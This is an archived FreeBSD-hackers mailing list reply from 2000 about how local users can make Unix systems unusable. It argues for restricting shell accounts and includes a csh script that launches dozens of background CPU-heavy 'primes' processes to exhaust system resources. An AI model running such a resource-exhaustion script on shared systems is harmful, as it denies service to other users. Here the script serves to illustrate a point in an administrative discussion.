From owner-freebsd-hackers Wed Mar 22 13:56: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mta1.rcsntx.swbell.net (mta1.rcsntx.swbell.net [151.164.30.25]) by hub.freebsd.org (Postfix) with ESMTP id 3899737C282 for ; Wed, 22 Mar 2000 13:55:58 -0800 (PST) (envelope-from jbryant@ppp-207-193-186-239.kscymo.swbell.net) Received: from ppp-207-193-186-239.kscymo.swbell.net ([207.193.186.239]) by mta1.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FRU00CB2FKNM6@mta1.rcsntx.swbell.net> for hackers@FreeBSD.ORG; Wed, 22 Mar 2000 15:55:40 -0600 (CST) Received: (from jbryant@localhost) by ppp-207-193-186-239.kscymo.swbell.net (8.9.3/8.8.5) id PAA35282; Wed, 22 Mar 2000 15:55:31 -0600 (CST) Date: Wed, 22 Mar 2000 15:55:17 -0600 (CST) From: Jim Bryant Subject: Re: How a normal user can crash any linux system (fwd) In-reply-to: <20000322102407.K7305@fw.wintelcom.net> To: bright@wintelcom.net (Alfred Perlstein) Cc: rminnich@lanl.gov, hackers@FreeBSD.ORG, linux-kernel@vger.rutgers.edu, Michael.Lampe@iwr.uni-heidelberg.de Reply-To: kc5vdj@swbell.net Message-id: <200003222155.PAA35282@ppp-207-193-186-239.kscymo.swbell.net> MIME-version: 1.0 X-Mailer: ELM [version 2.4ME+ PL32 (25)] Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #8: Sat Oct 30 00:56:56 CDT 1999 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > This is cross-posted to both linux-kernel and freebsd-hackers, please > set your replies properly. > > > I found the following by accident playing with PVM. If you start the > > 'gexample' from the examples directory with dimension=10000 and no of > > tasks=32 on one machine, it becomes almost immediately completely un- > > usable and begins with heavy swapping. Considering how much memory > > would be necessary for this computation before starting it would have > > avoided the trouble. well, there are other ways to make a system slow to a crawl.... a good preventative measure is to never give shell accounts unless everyone is accountable. #!/bin/csh /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& /usr/games/primes 1 4294967295 >&/dev/null& # etc, ... # # [get the idea?] jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ kc5vdj@swbell.net KC5VDJ - HF to 23cm KC5VDJ@NW0I.#NEKS.KS.USA.NOAM HF/VHF: IC-706MkII VHF/UHF/SHF: IC-T81A KPC3+ & PK-232MBX Grid: EM28px ------------------------------------------------------------------------------ ET has one helluva sense of humor, always anal-probing right-wing schizos! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message